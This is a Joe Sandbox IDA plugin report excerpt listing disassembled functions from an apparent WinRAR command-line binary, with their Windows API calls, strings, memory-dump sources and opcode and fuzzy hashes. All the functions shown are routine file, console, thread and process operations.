SHGetPathFromIDListW.SHELL32 ref: 00007FF629B240F1

Part of subcall function 00007FF629B13458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF629B2413F,?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B134A0
Part of subcall function 00007FF629B13458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF629B2413F,?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B134D5

Strings

WinRAR, xrefs: 00007FF629B2410F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: 4a2476f3edbd5e4da011ea4a7f6e1195c92201e44a33cfef10fc6e168544f6da
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 89215B26A0CA4680EE509F23AC501BF6761EFDABD2B095035DF0E87B59DE3CE444D601

Function 00007FF629B5978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF629B53CEF,?,?,00000000,00007FF629B53CAA,?,?,00000000,00007FF629B53FD9), ref: 00007FF629B597A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF629B53CEF,?,?,00000000,00007FF629B53CAA,?,?,00000000,00007FF629B53FD9), ref: 00007FF629B59807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF629B53CEF,?,?,00000000,00007FF629B53CAA,?,?,00000000,00007FF629B53FD9), ref: 00007FF629B59841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF629B53CEF,?,?,00000000,00007FF629B53CAA,?,?,00000000,00007FF629B53FD9), ref: 00007FF629B5986B

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: 68557fd4fae87edc4e3e302ff94d807cfeed876871e5c2dcc6c9ddee8daf2d22
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: C3218421E0875981EE208F13E84012F66A4FF99FD1F484135DE9EA3BA4DF7CE4529305

Function 00007FF629B11C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF629B121A7,00000000,00000028,?,00007FF629B07792), ref: 00007FF629B11C97
ReadFile.KERNELBASE ref: 00007FF629B11CB6
GetLastError.KERNEL32 ref: 00007FF629B11CEA
GetLastError.KERNEL32 ref: 00007FF629B11D08

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction ID: 2f30579027004dde9903166ca25398b4b3f21c2c14d40635bd93b1402b6622ad
Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction Fuzzy Hash: 77216021E0854E81EE608F26E84037F66A4BFC7B96F104535EA59CB6D4CE2DE851E743

Function 00007FF629B049F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

AFUM, xrefs: 00007FF629B04B8C
default.sfx, xrefs: 00007FF629B04AB0

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 9e9f941292c11942c7cf8c80a2863a9078216c847960b527f420f4da08718e95
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: E681C921E0C68A40EF709F119A442BF3292AFD3786F448031DE8D876C5EF7DA495E752

Function 00007FF629B565BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF629B5662E
GetFileType.KERNELBASE ref: 00007FF629B56644

Strings

@, xrefs: 00007FF629B5666F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: 912258168f83d58645b9493bcd83069eadf69e0cab35585eeaf88cc171662406
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: A6218422A1874A81EF748F35DC9017E2655EBD6775F281335DA6E867D4CE38E881E302

Function 00007FF629B3B9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF629B3B9F8
SetThreadPriority.KERNEL32 ref: 00007FF629B3BA4E

Part of subcall function 00007FF629B0CDA4: wcschr.LIBVCRUNTIME ref: 00007FF629B0CE0F
Part of subcall function 00007FF629B0CDA4: wcschr.LIBVCRUNTIME ref: 00007FF629B0CE22

Part of subcall function 00007FF629B0CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF629B0CEDE

Strings

CreateThread failed, xrefs: 00007FF629B3BA06

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: 8dfa1df89be3d21a781067bca438e8cae5dc86f4a335ef8f96daacaac391a58d
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: FB116031918A4A82EF04EF21EC401BF7360FBC6786F544136D68D82669DF3CE546D745

Function 00007FF629B3BB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF629B3BB79), ref: 00007FF629B3BBB9
SetEvent.KERNEL32 ref: 00007FF629B3BBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF629B3BBD8

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: acb3e521abd7c8735cc918fa963e6b8afcfb6e06388073fafe8e86834fb3f545
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: F6F06222A18A4A83DE20EF26F9400BE6360FFCAB9AF040134DE9D4666DDE2CD555DB01

Function 00007FF629B07B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF629B07A9E), ref: 00007FF629B07B4A
GetFileType.KERNELBASE(?,?,?,00007FF629B07A9E), ref: 00007FF629B07B56
GetConsoleMode.KERNEL32(?,?,?,00007FF629B07A9E), ref: 00007FF629B07B69

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: c554aef4d6f53da9bf3e79680d90acccd62cfaa65cc0855b7cbe565290a6e2d8
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: E2E08C20E0460B42EF584F23ACA513E12519F9EB83F405038D80FCA750EE2CA485D301

Function 00007FF629B52488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF629B5246C), ref: 00007FF629B524B0
TerminateProcess.KERNEL32(?,?,?,00007FF629B5246C), ref: 00007FF629B524BB
ExitProcess.KERNEL32 ref: 00007FF629B524CA

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: d9d58aeb4384265c851dfd9aca2d7b253a8e654679a165595086a383c48f7675
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: F7E09A24E0974E82FE546F769C8537E23626FCA743F00543CCD0E96396DE3DB8499252

Function 00007FF629B14044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF629B14255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF629AF6CD9), ref: 00007FF629B1447C

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction ID: dd2f9990e50d9a0789e18c2def79be734b9f73a6cef692154ac016ada63c322a
Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction Fuzzy Hash: 12E1D322A1868681EF208F65E8002BF67A2FBD3795F444131DB9D876D9DF7CE481E702

Function 00007FF629B11AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF629B07EBE,00000000,00000000,00000000,00000000,00000007,00007FF629B07C48), ref: 00007FF629B11B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF629B07EBE,00000000,00000000,00000000,00000000,00000007,00007FF629B07C48), ref: 00007FF629B11BD7

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: 0e89461598d1930c6e431097ef67a9ef35bdbe2c05ac4724004e7154e06988c0
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: AB312663A186494AFB709F21D8053AF36A0EB83B7AF104334DA6C866C5DF7CD585E742

Function 00007FF629B2915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF629B291CA
new.LIBCMT ref: 00007FF629B291F2

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42658d34a1fb92fbd8d718425b99dc084056a970e35fbbcb39c16e60e17b306
Instruction ID: aa5030dd8015168b47f5e5625cbc594187fbaea1b96f89278838654bde50ce8e
Opcode Fuzzy Hash: a42658d34a1fb92fbd8d718425b99dc084056a970e35fbbcb39c16e60e17b306
Instruction Fuzzy Hash: 5A118431A09B8581EE00DF64E9543AE7294EFC6795F140638D69D477E6DE38D051E311

Function 00007FF629B120B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF629B122EE), ref: 00007FF629B1211B
GetLastError.KERNEL32(?,?,?,00007FF629B122EE), ref: 00007FF629B12126

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 10b2816af76f00eb4ef6ee9be2aa05c035be191cdf87bf776d32560801dc6762
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: BF01E525E1969A42EE688F26E80146E6261EFD7BF1F145730DA2D83BD4CE3CE451EB01

Function 00007FF629B07A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF629B07A7B

Part of subcall function 00007FF629B52AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629B57EF3

setbuf.LIBCMT ref: 00007FF629B07A8F

Part of subcall function 00007FF629B07B44: GetStdHandle.KERNEL32(?,?,?,00007FF629B07A9E), ref: 00007FF629B07B4A
Part of subcall function 00007FF629B07B44: GetFileType.KERNELBASE(?,?,?,00007FF629B07A9E), ref: 00007FF629B07B56
Part of subcall function 00007FF629B07B44: GetConsoleMode.KERNEL32(?,?,?,00007FF629B07A9E), ref: 00007FF629B07B69

